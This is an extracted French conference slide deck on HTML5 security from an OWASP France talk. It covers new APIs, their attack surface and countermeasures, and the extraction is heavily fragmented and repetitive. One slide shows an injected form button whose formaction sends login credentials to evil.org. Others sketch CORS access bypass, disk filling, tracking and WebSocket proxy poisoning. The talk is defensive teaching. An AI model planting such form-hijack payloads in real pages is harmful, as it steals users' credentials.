1. et
la
sécurité
un
point
d’étape
Sébas3en
Gioria
OWASP
France
Leader
GSDays
-‐
4
Avril
2013
-‐
Paris
-‐
France
Friday, April 5, 13
2. http://www.google.fr/#q=sebastien gioria
‣Consultant Indépendant en Sécurité Applicative
‣OWASP France Leader & Founder -
Evangéliste
‣OWASP Global Education Comittee
Member (sebastien.gioria@owasp.org)
Twitter :@SPoint
Friday, April 5, 13 2
3. Agenda
• Un
peu
d’histoire
• HTML5
pour
les
nuls
en
4mn
2s
• Nouvelles
a;aques
et
protec>ons
?
• Références
Oui,
vous
avez
bien
lu
quelque
chose
ici
3
Friday, April 5, 13
4. Delorean
Passion
1993
1995 1998 2000 2006 2013
HTML
4.0 HTML
5
?
HTML
2.0 CSS
2 CSS
3
HTML
1.0
JavaScript
la
DOM
XmlH;pRequest
Il
n’y
aura
pas
d’éléphpants
dans
ce;e
présenta>on
4
Friday, April 5, 13
5. Delorean
Passion
1993
1995 1998 2000 2006 2013
HTML
4.0 HTML
5
?
HTML
2.0 CSS
2 CSS
3
HTML
1.0
JavaScript
la
DOM
XmlH;pRequest
Il
n’y
aura
pas
d’éléphpants
dans
ce;e
présenta>on
4
Friday, April 5, 13
6. Delorean
Passion
1993
1995 1998 2000 2006 2013
HTML
4.0 HTML
5
?
HTML
2.0 CSS
2 CSS
3
HTML
1.0
JavaScript
la
DOM
XmlH;pRequest
20
ans,
noces
de
porcelaine...
Il
n’y
aura
pas
d’éléphpants
dans
ce;e
présenta>on
4
Friday, April 5, 13
7. L’état
de
la
norme
par
contre
il
y
a
d’autres
animaux...
5
Friday, April 5, 13
9. 4mn
2s
• Nouvelles
balises
– On
n’est
pas
la
pour
parler
de
peinture...
• Nouvelles
APIs
–WebSocket
–WebMessaging
–IndexedDB
–OffLine
Web
ApplicaBon
–WebStorage
(votre
nouveau
DropBox
?
...)
–Cross
Origin
Ressource
Sharing
(déja
rien
que
le
nom
est
intéressant...)
Ni
dans
celui
la....
7
Friday, April 5, 13
10. 4mn
2s
• WebSocket : Permet d’effectuer des
connexions persistantes et bi-
directionnelles
• mécanisme
de
“Push”
possible
• interface
en
cours
de
finalisaBon/spécificaBons
• nécessite
un
serveur
“compaBble”
• API
minimaliste
(send,
receive
via
event)
• hPp://www.w3.org/TR/websockets/
en
meme
temps,
des
animaux
dans
ce;e
présenta>on
pourquoi
?
8
Friday, April 5, 13
11. 4mn
2s
• WebMessaging : communication inter-
documents HTML
• via
la
méthode
window.postMessage();
• pas
de
garanBe
de
contenu
inoffensif
(ie;
pas
de
filtre
de
type
anB-‐XSS
....)
• vérificaBon
de
l’origine
a
la
charge
de
l’applicaBon
receptrice.
• il
est
possible
de
transporter
du
JSON
:)
• hPp://www.w3.org/TR/webmessaging/
tout
seimplement
parcequ’elle
a
été
finalisée
à
Paques
9
Friday, April 5, 13
12. 4mn
2s
• IndexedDB; la Web SQL Database...
•API
synchrone
et
asynchrone
•pensée
pour
JavaScript;
stockage
d’objets
•hPp://www.w3.org/TR/IndexedDB/
me;re
des
oeufs
était
difficile
10
Friday, April 5, 13
13. 4mn
2s
• Offline Web Applications: possibilité d’exécuter
tout ou partie des applications même non
connecté.
–via
navigator.onLine
–mise
en
cache
des
données
nécessaires(HTML,
CSS,
JavaScript...)
–hPp://www.w3.org/TR/html5/offline.html
et
du
chocolat
aussi
11
Friday, April 5, 13
14. 4mn
2s
• WebStorage : donne la capacité au
navigateur de stocker jusqu’a 5Mo à 10Mo
de données
• deux
type
de
stockage
:
local
ou
de
session
• possibilité
de
stocker
des
objets
JSON
• possibilité
de
stocker
de
manière
régulière
• hPp://www.w3.org/TR/webstorage/
12
Friday, April 5, 13
16. Modèle
de
sécurité
HTML5
Interface
U>lisateur
Sandbox/SOP
HTML/CSS
JavaScript HTTP/XHR/WebSockets
Page/
Appli Internet
DOM
14
Friday, April 5, 13
17. Modèle
de
sécurité
HTML5
Interface
U>lisateur
Sandbox/SOP
HTML/CSS
JavaScript HTTP/XHR/WebSockets
Page/
Appli Internet
DOM
14
Friday, April 5, 13
18. Modèle
de
sécurité
HTML5
Interface
U>lisateur
Sandbox/SOP
HTML/CSS
JavaScript HTTP/XHR/WebSockets
Page/
Appli Internet
DOM
14
Friday, April 5, 13
19. Modèle
de
sécurité
HTML5
Interface
U>lisateur
Sandbox/SOP
HTML/CSS
JavaScript HTTP/XHR/WebSockets
Page/
Appli Internet
DOM
APIs
Stockage
(Web,
SQL,
..)
14
Friday, April 5, 13
20. Modèle
de
sécurité
HTML5
Interface
U>lisateur
Sandbox/SOP
HTML/CSS
JavaScript HTTP/XHR/WebSockets
Page/
Appli Internet
DOM
APIs
Stockage
API
GeoLoc
(Web,
SQL,
..)
14
Friday, April 5, 13
21. Modèle
de
sécurité
HTML5
Interface
U>lisateur
Sandbox/SOP
HTML/CSS
JavaScript HTTP/XHR/WebSockets
Page/
Appli Internet
DOM
APIs
Stockage
API
GeoLoc API
...
(Web,
SQL,
..)
14
Friday, April 5, 13
22. FalsificaBon
de
Forms
• Il
est
possible
de
contrôler
une
Forms
en
dehors
de
l’élément
“form”
<form id=“myform” action=“basic.php” >
<input type=“text” name=“user” value=“…” />
</form>
<input form=“myform” type=“submit” name=“…”
value=“Advanced Version”/>
15
Friday, April 5, 13
24. FalsificaBon
Forms
<form id=“login” action=“login.php” >
<input type=“text” name=“username” />
<input type=“password” name=“password” />
<input type=“submit” name=“…” value=“Login” />
</form>
Si
on
arrive
à
injecter
ce
code
16
Friday, April 5, 13
25. FalsificaBon
Forms
<form id=“login” action=“login.php” >
<input type=“text” name=“username” />
<input type=“password” name=“password” />
<input type=“submit” name=“…” value=“Login” />
</form>
Si
on
arrive
à
injecter
ce
code
New VIP section of the site is open!
<input form=“login” type=“submit”
name=“Enter VIP section”
formaction=“http://evil.org/login.php” />
16
Friday, April 5, 13
26. FalsificaBon
Forms
<form id=“login” action=“login.php” >
<input type=“text” name=“username” />
<input type=“password” name=“password” />
<input type=“submit” name=“…” value=“Login” />
</form>
Si
on
arrive
à
injecter
ce
code
New VIP section of the site is open!
<input form=“login” type=“submit”
name=“Enter VIP section”
formaction=“http://evil.org/login.php” />
16
Friday, April 5, 13
27. FalsificaBon
Forms
<form id=“login” action=“login.php” >
<input type=“text” name=“username” />
<input type=“password” name=“password” />
<input type=“submit” name=“…” value=“Login” />
</form>
Si
on
arrive
à
injecter
ce
code
New VIP section of the site is open!
<input form=“login” type=“submit”
name=“Enter VIP section”
formaction=“http://evil.org/login.php” />
Automa3quement,
evil.org
dispose
des
éléments
et
la
Forms
ini3ale
est
appelée
16
Friday, April 5, 13
28. Protocol/content
Handlers
• Il
est
possible
d’enregistrer
des
handlers
de
protocole
ou
de
type
de
fichiers
personalisés
• sms://
• applica>on/pdf
Il
est
possible
(mais
pas
recommandé)
de
changer
les
handlers
standards
(dépend
des
navigateurs)
Il
n’est
pas
obligatoire
de
demander
à
l’u3lisateur
son
autorisa3on
17
Friday, April 5, 13
29. Cross
Origin
Resource
Sharing
1/4
• XHR
ne
peut
dialoguer
qu’avec
le
site
Web
originaire
du
JavaScript
non,
vous
avez
bien
lu...Un
boeuf
!
18
Friday, April 5, 13
30. Cross
Origin
Resource
Sharing
1/4
• XHR
ne
peut
dialoguer
qu’avec
le
site
Web
originaire
du
JavaScript
non,
vous
avez
bien
lu...Un
boeuf
!
18
Friday, April 5, 13
31. Cross
Origin
Resource
Sharing
1/4
• XHR
ne
peut
dialoguer
qu’avec
le
site
Web
originaire
du
JavaScript
Mais
c’etait
sans
compter
les
boeufs
!
non,
vous
avez
bien
lu...Un
boeuf
!
18
Friday, April 5, 13
32. Cross
Origin
Resource
Sharing
1/4
• XHR
ne
peut
dialoguer
qu’avec
le
site
Web
originaire
du
JavaScript
Mais
c’etait
sans
compter
les
boeufs
!
HTTP/1.1 200 OK
Content-Type: text/html
Access-Control-Allow-Origin: http://internal.example.com
non,
vous
avez
bien
lu...Un
boeuf
!
18
Friday, April 5, 13
33. Cross
Origin
Resource
Sharing
2/4
Bypass
des
contrôles
d’accès
poc.ckers.fr
intranet 19
Friday, April 5, 13
34. Cross
Origin
Resource
Sharing
2/4
Bypass
des
contrôles
d’accès
poc.ckers.fr
intranet 19
Friday, April 5, 13
35. Cross
Origin
Resource
Sharing
2/4
Bypass
des
contrôles
d’accès
poc.ckers.fr
intranet 19
Friday, April 5, 13
36. Cross
Origin
Resource
Sharing
2/4
Bypass
des
contrôles
d’accès
poc.ckers.fr
intranet 19
Friday, April 5, 13
37. Cross
Origin
Resource
Sharing
2/4
Bypass
des
contrôles
d’accès
poc.ckers.fr
intranet 19
Friday, April 5, 13
38. Cross
Origin
Resource
Sharing
2/4
Bypass
des
contrôles
d’accès
poc.ckers.fr
GET
/
HTTP/1.1
intranet 19
Friday, April 5, 13
39. Cross
Origin
Resource
Sharing
2/4
Bypass
des
contrôles
d’accès
poc.ckers.fr
GET
/
HTTP/1.1
intranet 19
Friday, April 5, 13
40. Cross
Origin
Resource
Sharing
2/4
Bypass
des
contrôles
d’accès
poc.ckers.fr
Access-‐Control-‐Allow-‐Origin:
*
GET
/
HTTP/1.1
HTTP/1.1
200
Ok
intranet 19
Friday, April 5, 13
41. Cross
Origin
Resource
Sharing
2/4
Bypass
des
contrôles
d’accès
poc.ckers.fr
Access-‐Control-‐Allow-‐Origin:
*
GET
/
HTTP/1.1
HTTP/1.1
200
Ok
intranet 19
Friday, April 5, 13
42. Cross
Origin
Resource
Sharing
2/4
Bypass
des
contrôles
d’accès
poc.ckers.fr
intranet 19
Friday, April 5, 13
43. Cross
Origin
Resource
Sharing
2/4
Bypass
des
contrôles
d’accès
poc.ckers.fr
GET
/
HTTP/1.1
intranet 19
Friday, April 5, 13
44. Cross
Origin
Resource
Sharing
2/4
Bypass
des
contrôles
d’accès
poc.ckers.fr
GET
/
HTTP/1.1
intranet 19
Friday, April 5, 13
45. Cross
Origin
Resource
Sharing
2/4
Bypass
des
contrôles
d’accès
poc.ckers.fr
intranet 19
Friday, April 5, 13
46. Cross
Origin
Resource
Sharing
2/4
Bypass
des
contrôles
d’accès
poc.ckers.fr
HTTP/1.1
200
Ok
<script>XMLH;pRequest...
intranet 19
Friday, April 5, 13
47. Cross
Origin
Resource
Sharing
2/4
Bypass
des
contrôles
d’accès
poc.ckers.fr
HTTP/1.1
200
Ok
<script>XMLH;pRequest...
intranet 19
Friday, April 5, 13
48. Cross
Origin
Resource
Sharing
2/4
Bypass
des
contrôles
d’accès
poc.ckers.fr
intranet 19
Friday, April 5, 13
49. Cross
Origin
Resource
Sharing
2/4
Bypass
des
contrôles
d’accès
poc.ckers.fr
XMLHTTPRequest
intranet 19
Friday, April 5, 13
50. Cross
Origin
Resource
Sharing
2/4
Bypass
des
contrôles
d’accès
poc.ckers.fr
XMLHTTPRequest
intranet 19
Friday, April 5, 13
51. Cross
Origin
Resource
Sharing
2/4
Bypass
des
contrôles
d’accès
poc.ckers.fr
intranet 19
Friday, April 5, 13
52. Cross
Origin
Resource
Sharing
2/4
Bypass
des
contrôles
d’accès
poc.ckers.fr
Access-‐Control-‐Allow-‐Origin:
*
HTTP/1.1
200
Ok
intranet 19
Friday, April 5, 13
53. Cross
Origin
Resource
Sharing
2/4
Bypass
des
contrôles
d’accès
poc.ckers.fr
Access-‐Control-‐Allow-‐Origin:
*
HTTP/1.1
200
Ok
intranet 19
Friday, April 5, 13
54. Cross
Origin
Resource
Sharing
2/4
Bypass
des
contrôles
d’accès
poc.ckers.fr
Access-‐Control-‐Allow-‐Origin:
*
HTTP/1.1
200
Ok
intranet 19
Friday, April 5, 13
55. Cross
Origin
Resource
Sharing
2/4
Bypass
des
contrôles
d’accès
poc.ckers.fr
Access-‐Control-‐Allow-‐Origin:
*
HTTP/1.1
200
Ok
intranet 19
Friday, April 5, 13
56. Cross
Origin
Resource
Sharing
2/4
Bypass
des
contrôles
d’accès
poc.ckers.fr
intranet 19
Friday, April 5, 13
57. Cross
Origin
Resource
Sharing
2/4
Bypass
des
contrôles
d’accès
poc.ckers.fr
POST
/endpoint
HTTP/1.1
.....(contenu
de
la
page
interne)
intranet 19
Friday, April 5, 13
79. Cross
Origin
Resource
• Contre-‐mesures
:
• RestricBon
du
domaine
• Ne
pas
faire
confiance
à
l’entete;
elle
peut
être
modifiée
par
l’aPaquant.
• MePre
en
place
des
contre-‐mesures
réseaux
franchement,
vous
avez
une
autre
réelle
solu>on
pour
les
DDOS
?
=>
Venir
me
voir
a
la
fin
de
la
présenta>on
avec
votre
vraie
solu>on....
21
Friday, April 5, 13
80. Cross
Origin
Resource
• Contre-‐mesures
:
• RestricBon
du
domaine
• Ne
pas
faire
confiance
à
l’entete;
elle
peut
être
modifiée
par
l’aPaquant.
• MePre
en
place
des
contre-‐mesures
réseaux
franchement,
vous
avez
une
autre
réelle
solu>on
pour
les
DDOS
?
=>
Venir
me
voir
a
la
fin
de
la
présenta>on
avec
votre
vraie
solu>on....
21
Friday, April 5, 13
81. Cross
Origin
Resource
• Contre-‐mesures
:
• RestricBon
du
domaine
• Ne
pas
faire
confiance
à
l’entete;
elle
peut
être
modifiée
par
l’aPaquant.
• MePre
en
place
des
contre-‐mesures
réseaux
pour
les
DDOS
franchement,
vous
avez
une
autre
réelle
solu>on
pour
les
DDOS
?
=>
Venir
me
voir
a
la
fin
de
la
présenta>on
avec
votre
vraie
solu>on....
21
Friday, April 5, 13
82. Cross
Origin
Resource
• Contre-‐mesures
:
• RestricBon
du
domaine
• Ne
pas
faire
confiance
à
l’entete;
elle
peut
être
modifiée
par
l’aPaquant.
• MePre
en
place
des
contre-‐mesures
réseaux
pour
les
DDOS
franchement,
vous
avez
une
autre
réelle
solu>on
pour
les
DDOS
?
=>
Venir
me
voir
a
la
fin
de
la
présenta>on
avec
votre
vraie
solu>on....
21
Friday, April 5, 13
83. Cross
Origin
Resource
• Contre-‐mesures
:
• RestricBon
du
domaine
• Ne
pas
faire
confiance
à
l’entete;
elle
peut
être
modifiée
par
l’aPaquant.
• MePre
en
place
des
contre-‐mesures
réseaux
pour
les
DDOS
débrancher
le
cable....
franchement,
vous
avez
une
autre
réelle
solu>on
pour
les
DDOS
?
=>
Venir
me
voir
a
la
fin
de
la
présenta>on
avec
votre
vraie
solu>on....
21
Friday, April 5, 13
84. WebStorage
• Pas
de
contrôle
de
la
part
de
l’u>lisateur
sur
ce
qui
est
stocké/accéder
➡DOS
via
les
disques
par
remplissage
• L’injec>on
de
Javascript
peut
bypasser
la
limita>on
du
contrôle
d’accès.
➡Vol
de
Sessions
➡Vol
de
données
sensibles
➡Tracking
d’uBlisateurs
22
Friday, April 5, 13
85. All
you
disk
is
belong
to
US
?
bon,
oui,
la
vidéo
a
été
faite
hier...mais
c’etait
pour
éviter
l’effet
démo
23
Friday, April 5, 13
86. All
you
disk
is
belong
to
US
?
• Par
défaut
WebStorage
limite
a
quelques
méga
l’espace
disque
par
origine
(2.5Mb
à
10Mb)
bon,
oui,
la
vidéo
a
été
faite
hier...mais
c’etait
pour
éviter
l’effet
démo
23
Friday, April 5, 13
87. All
you
disk
is
belong
to
US
?
• Par
défaut
WebStorage
limite
a
quelques
méga
l’espace
disque
par
origine
(2.5Mb
à
10Mb)
• La
norme
dit
que
chaque
origine
n’a
pas
forcément
5Mb.
Mais...
bon,
oui,
la
vidéo
a
été
faite
hier...mais
c’etait
pour
éviter
l’effet
démo
23
Friday, April 5, 13
88. All
you
disk
is
belong
to
US
?
• Par
défaut
WebStorage
limite
a
quelques
méga
l’espace
disque
par
origine
(2.5Mb
à
10Mb)
• La
norme
dit
que
chaque
origine
n’a
pas
forcément
5Mb.
Mais...
bon,
oui,
la
vidéo
a
été
faite
hier...mais
c’etait
pour
éviter
l’effet
démo
23
Friday, April 5, 13
89. All
you
disk
is
belong
to
US
?
• Par
défaut
WebStorage
limite
a
quelques
méga
l’espace
disque
par
origine
(2.5Mb
à
10Mb)
• La
norme
dit
que
chaque
origine
n’a
pas
forcément
5Mb.
Mais...
bon,
oui,
la
vidéo
a
été
faite
hier...mais
c’etait
pour
éviter
l’effet
démo
23
Friday, April 5, 13
90. All
you
disk
is
belong
to
US
?
• Par
défaut
WebStorage
limite
a
quelques
méga
l’espace
disque
par
origine
(2.5Mb
à
10Mb)
• La
norme
dit
que
chaque
origine
n’a
pas
forcément
5Mb.
Mais...
• En
cours
de
correc>on,
mais
démonstra>on
intéressante....
• Tests
à
h;p://www.filldisk.com/
bon,
oui,
la
vidéo
a
été
faite
hier...mais
c’etait
pour
éviter
l’effet
démo
23
Friday, April 5, 13
91. WebStorage
• Tracking
User
Les
localStorage
ne
sont
pas
forcément
effacés
lorsqu’on
efface
l’historique
(ni
quand
on
qui]e
le
navigateur)
J’en
connais
plusieurs
qui
vont
ouvrir
FireBug
rapidement....
24
Friday, April 5, 13
92. WebStorage
• Tracking
User
Les
localStorage
ne
sont
pas
forcément
effacés
lorsqu’on
efface
l’historique
(ni
quand
on
qui]e
le
navigateur)
J’en
connais
plusieurs
qui
vont
ouvrir
FireBug
rapidement....
24
Friday, April 5, 13
93. WebStorage
• Tracking
User
Les
localStorage
ne
sont
pas
forcément
effacés
lorsqu’on
efface
l’historique
(ni
quand
on
qui]e
le
navigateur)
Il
est
donc
possible
de
créer
des
iden3fiants
(de
type
cookies)
persistants
perme]ant
de
suivre
l’u3lisateur
J’en
connais
plusieurs
qui
vont
ouvrir
FireBug
rapidement....
24
Friday, April 5, 13
94. WebSocket
API
:)
• Possible
entre
différents
domaines
• Perme;rai
de
réduire
la
taille
du
contenu
transporté
?
•
c’est
quand
même
un
peu
sale
de
se
servir
des
WebSockets
25
Friday, April 5, 13
95. WebSocket
API
:)
• Possible
entre
différents
domaines
• Perme;rai
de
réduire
la
taille
du
contenu
transporté
?
•
c’est
quand
même
un
peu
sale
de
se
servir
des
WebSockets
25
Friday, April 5, 13
96. WebSocket
API
:)
• Possible
entre
différents
domaines
• Perme;rai
de
réduire
la
taille
du
contenu
transporté
?
•
c’est
quand
même
un
peu
sale
de
se
servir
des
WebSockets
25
Friday, April 5, 13
97. WebSocket
API
:)
• Possible
entre
différents
domaines
• Perme;rai
de
réduire
la
taille
du
contenu
transporté
?
•
c’est
quand
même
un
peu
sale
de
se
servir
des
WebSockets
25
Friday, April 5, 13
98. WebSocket
API
:)
• Possible
entre
différents
domaines
• Perme;rai
de
réduire
la
taille
du
contenu
transporté
?
•
GET
/
HTTP/1.1
c’est
quand
même
un
peu
sale
de
se
servir
des
WebSockets
25
Friday, April 5, 13
99. WebSocket
API
:)
• Possible
entre
différents
domaines
• Perme;rai
de
réduire
la
taille
du
contenu
transporté
?
•
GET
/
HTTP/1.1
c’est
quand
même
un
peu
sale
de
se
servir
des
WebSockets
25
Friday, April 5, 13
100. WebSocket
API
:)
• Possible
entre
différents
domaines
• Perme;rai
de
réduire
la
taille
du
contenu
transporté
?
•
GET
/
HTTP/1.1
HTTP/1.1
200
Ok
c’est
quand
même
un
peu
sale
de
se
servir
des
WebSockets
25
Friday, April 5, 13
101. WebSocket
API
:)
• Possible
entre
différents
domaines
• Perme;rai
de
réduire
la
taille
du
contenu
transporté
?
•
GET
/
HTTP/1.1
HTTP/1.1
200
Ok
c’est
quand
même
un
peu
sale
de
se
servir
des
WebSockets
25
Friday, April 5, 13
102. WebSocket
API
:)
• Possible
entre
différents
domaines
• Perme;rai
de
réduire
la
taille
du
contenu
transporté
?
•
GET
/
HTTP/1.1
HTTP/1.1
200
Ok
Upgrade
WebSocket
c’est
quand
même
un
peu
sale
de
se
servir
des
WebSockets
25
Friday, April 5, 13
103. WebSocket
API
:)
• Possible
entre
différents
domaines
• Perme;rai
de
réduire
la
taille
du
contenu
transporté
?
•
GET
/
HTTP/1.1
HTTP/1.1
200
Ok
Upgrade
WebSocket
c’est
quand
même
un
peu
sale
de
se
servir
des
WebSockets
25
Friday, April 5, 13
104. WebSocket
API
:)
• Possible
entre
différents
domaines
• Perme;rai
de
réduire
la
taille
du
contenu
transporté
?
•
GET
/
HTTP/1.1
HTTP/1.1
200
Ok
Upgrade
WebSocket
WebSocket
Protocol
Handshake
c’est
quand
même
un
peu
sale
de
se
servir
des
WebSockets
25
Friday, April 5, 13
105. WebSocket
API
:)
• Possible
entre
différents
domaines
• Perme;rai
de
réduire
la
taille
du
contenu
transporté
?
•
GET
/
HTTP/1.1
HTTP/1.1
200
Ok
Upgrade
WebSocket
WebSocket
Protocol
Handshake
c’est
quand
même
un
peu
sale
de
se
servir
des
WebSockets
25
Friday, April 5, 13
106. WebSocket
API
:)
• Possible
entre
différents
domaines
• Perme;rai
de
réduire
la
taille
du
contenu
transporté
?
•
GET
/
HTTP/1.1
HTTP/1.1
200
Ok
Upgrade
WebSocket
WebSocket
Protocol
Handshake
Tunnel
TCP
Full
Duplex
c’est
quand
même
un
peu
sale
de
se
servir
des
WebSockets
25
Friday, April 5, 13
107. WebSocket
API
:)
• Possible
entre
différents
domaines
• Perme;rai
de
réduire
la
taille
du
contenu
transporté
?
•
GET
/
HTTP/1.1
HTTP/1.1
200
Ok
Upgrade
WebSocket
WebSocket
Protocol
Handshake
Tunnel
TCP
Full
Duplex
c’est
quand
même
un
peu
sale
de
se
servir
des
WebSockets
25
Friday, April 5, 13
108. Websocket
Menaces
• Parmi
les
a;aques
possibles,
certaines
sont
triviales:
• Shell
Distant
• Botnet
Web
• via
un
XSS
ou
tout
simplement
en
se
connectant
à
un
site
Web.
• Port
scanning...
26
Friday, April 5, 13
109. WebSocket
• Empoisonnement
dransparent de
proxy
Proxy
T
e
cache
27
Ca
me
rappelle
les
proxy
SFR...
Friday, April 5, 13
110. WebSocket
• Empoisonnement
dransparent de
proxy
Proxy
T
e
cache
27
Ca
me
rappelle
les
proxy
SFR...
Friday, April 5, 13
111. WebSocket
• Empoisonnement
dransparent de
proxy
Proxy
T
e
cache
27
Ca
me
rappelle
les
proxy
SFR...
Friday, April 5, 13
112. WebSocket
• Empoisonnement
dransparent de
proxy
Proxy
T
e
cache
27
Ca
me
rappelle
les
proxy
SFR...
Friday, April 5, 13
113. WebSocket
• Empoisonnement
dransparent de
proxy
Proxy
T
e
cache
GET
/
HTTP/1.1
27
Ca
me
rappelle
les
proxy
SFR...
Friday, April 5, 13
114. WebSocket
• Empoisonnement
dransparent de
proxy
Proxy
T
e
cache
GET
/
HTTP/1.1
27
Ca
me
rappelle
les
proxy
SFR...
Friday, April 5, 13
115. WebSocket
• Empoisonnement
dransparent de
proxy
Proxy
T
e
cache
GET
/
HTTP/1.1
HTTP/1.1
200
Ok
27
Ca
me
rappelle
les
proxy
SFR...
Friday, April 5, 13
116. WebSocket
• Empoisonnement
dransparent de
proxy
Proxy
T
e
cache
GET
/
HTTP/1.1
HTTP/1.1
200
Ok
27
Ca
me
rappelle
les
proxy
SFR...
Friday, April 5, 13
117. WebSocket
• Empoisonnement
dransparent de
proxy
Proxy
T
e
cache
GET
/
HTTP/1.1
HTTP/1.1
200
Ok
Upgrade
WebSocket
27
Ca
me
rappelle
les
proxy
SFR...
Friday, April 5, 13
118. WebSocket
• Empoisonnement
dransparent de
proxy
Proxy
T
e
cache
GET
/
HTTP/1.1
HTTP/1.1
200
Ok
Upgrade
WebSocket
27
Ca
me
rappelle
les
proxy
SFR...
Friday, April 5, 13
119. WebSocket
• Empoisonnement
dransparent de
proxy
Proxy
T
e
cache
GET
/
HTTP/1.1
HTTP/1.1
200
Ok
Upgrade
WebSocket
WebSocket
Protocol
Handshake
27
Ca
me
rappelle
les
proxy
SFR...
Friday, April 5, 13
120. WebSocket
• Empoisonnement
dransparent de
proxy
Proxy
T
e
cache
GET
/
HTTP/1.1
HTTP/1.1
200
Ok
Upgrade
WebSocket
WebSocket
Protocol
Handshake
27
Ca
me
rappelle
les
proxy
SFR...
Friday, April 5, 13
121. WebSocket
• Empoisonnement
dransparent de
proxy
Proxy
T
e
cache
GET
/
HTTP/1.1
HTTP/1.1
200
Ok
Upgrade
WebSocket
WebSocket
Protocol
Handshake
27
Ca
me
rappelle
les
proxy
SFR...
Friday, April 5, 13
122. WebSocket
• Empoisonnement
dransparent de
proxy
Proxy
T
e
cache
GET
/
HTTP/1.1
HTTP/1.1
200
Ok
Upgrade
WebSocket
WebSocket
Protocol
Handshake
GET
/
HTTP/1.1
Host:
some.host.com
27
Ca
me
rappelle
les
proxy
SFR...
Friday, April 5, 13
123. WebSocket
• Empoisonnement
dransparent de
proxy
Proxy
T
e
cache
GET
/
HTTP/1.1
HTTP/1.1
200
Ok
Upgrade
WebSocket
WebSocket
Protocol
Handshake
GET
/
HTTP/1.1
Host:
some.host.com
27
Ca
me
rappelle
les
proxy
SFR...
Friday, April 5, 13
124. WebSocket
• Empoisonnement
dransparent de
proxy
Proxy
T
e
cache
GET
/
HTTP/1.1
HTTP/1.1
200
Ok
Upgrade
WebSocket
WebSocket
Protocol
Handshake
GET
/
HTTP/1.1
Host:
some.host.com
HTTP/1.1
200
Ok
Contenu
falsifié
27
Ca
me
rappelle
les
proxy
SFR...
Friday, April 5, 13
125. OffLine
Web
ApplicaBon
<!DOCTYPE HTML>
<html manifest="/cache.manifest">
<body>
• Possibilité
d’avoir
des
a;aques
de
Type
APT
?
• Possibilité
de
pollu>on
des
caches
de
navigateurs
(via
un
point
d’accès
malveillant);
meme
du
SSL
Je
crois
que
Nicolas
a
un
bon
avis
sur
les
APT....
28
Friday, April 5, 13
126. WebMessage
• Possibilité
de
perte
de
données
sensibles
(si
envoyées
à
une
“mauvaise
iframe”)
postMessage() Page
du
site
“interne”
<iframe
src=”outside.control”
29
Friday, April 5, 13
127. Bac
a
sable
des
iframes
<iframe sandbox="....."
src="http://monsite.com/index.html"></iframe>
• Par
défaut
si
rien
n’est
précisé
:
• Les
formulaires,
scripts
et
plug-‐ins
sont
désac>vés.
• Pas
d’accès
aux
éléments
stockés
en
local
(cookies,
sessionStorage,
localStorage).
• Pas
d’AJAX
• Les
liens
ne
peuvent
cibler
d’autres
frames
• Le
contenu
est
considéré
externe
(pas
d’accès
à
la
DOM)
vous
saviez
que
les
bacs
a
sables
sont
remplacés
par
des
bacs
à
gravier
maintenant
?
30
Friday, April 5, 13
128. Bac
a
sable
des
iframes
• Lever
les
restric>ons
:
• allow-‐same-‐origin
:
autorise
le
contenu
a
être
traité
comme
de
la
même
origine
est
pas
externe
• allow-‐top-‐naviga>on
:
l’iframe
peut
accéder
à
la
naviga>on
de
niveau
supérieur
• allow-‐forms
:
autorise
les
formulaires
• allow-‐
scripts
:
les
scripts
(hors
popup)
sont
autorisés
Les
navigateurs
ne
supportent
pas
tous
ces
éléments
!
tout
cela
pour
l’hygiène
alors
qu’on
nous
fais
passer
du
cheval
pour
du
boeuf
!
31
Friday, April 5, 13
129. Autres
points
importants
• Les
longs
traitements
en
JavaScript
“plantaient”
les
navigateurs.
• Les
WebWorkers
perme;ent
de
lancer
des
JavaScript
en
tache
de
fond
– N’accèdent
pas
à
la
DOM
– Accèdent
à
XHR,
objet
navigator,
cache,
lancement
d’autres
WebWorkers...
DDOS
avec
CORS
&
WebWorkers
Calculs
distribués
(cf
Ravan)
Bientot
la
fin
32
Friday, April 5, 13
130. Autres
points
importants
• Les
longs
traitements
en
JavaScript
“plantaient”
les
navigateurs.
• Les
WebWorkers
perme;ent
de
lancer
des
JavaScript
en
tache
de
fond
– N’accèdent
pas
à
la
DOM
– Accèdent
à
XHR,
objet
navigator,
cache,
lancement
d’autres
WebWorkers...
DDOS
avec
CORS
&
WebWorkers
Calculs
distribués
(cf
Ravan)
Bientot
la
fin
32
Friday, April 5, 13
131. Autres
Points
importants
• CSS3
introduit
de
nouvelles
capacités
à
injecter
du
code
JavaScript
Nouvelles
capacités
au
ClickJacking
ou
facebook
jacking
ou
autre
jacking....
33
Friday, April 5, 13
132. Conclusion
• Plein
de
nouvelles
API
interessantes
pour
le
développeur(et
les
agences
Webs)
L’ouverture
se
fait
au
détriment
de
la
sécurité....(même
si
un
accent
supplémentaire
a
été
mis
dessus
dans
les
Specs)
Une
surface
d’a;aque
accrue
(CORS,
Web/Storage|Socket|
Workers)
La
belle
part
au
JavaScript
(qui
peut
s’executer
sans
consentement
u>lisateur)
non,
non,
je
ne
fais
pas
que
>rer
sur
les
agences
Web...
34
Friday, April 5, 13
140. Quelques
Sites
a
suivre..
• h;p://www.w3.org/TR/html5/
:
le
standard
• h;ps://www.owasp.org/index.php/
HTML5_Security_Cheat_Sheet
• h;p://www.caniuse.com
:
liste
des
différents
supports
d’API
par
navigateur
• h;p://www.html5test.com
:
le
support
de
VOTRE
navigateur
vis
a
vis
de
la
norme.
• h;p://html5readiness.com/
:
L’état
du
support
des
APis
par
les
navigateurs
Bon
ben
voila,
c’est
la
fin,
merci
d’être
encore
présent
;)
36
Friday, April 5, 13
141. @SPoint
sebas>en.gioria@owasp.org
Friday, April 5, 13
142. @SPoint
sebas>en.gioria@owasp.org
Il n'y a qu'une façon d'échouer, c'est d'abandonner avant d'avoir réussi [Olivier Lockert]
Friday, April 5, 13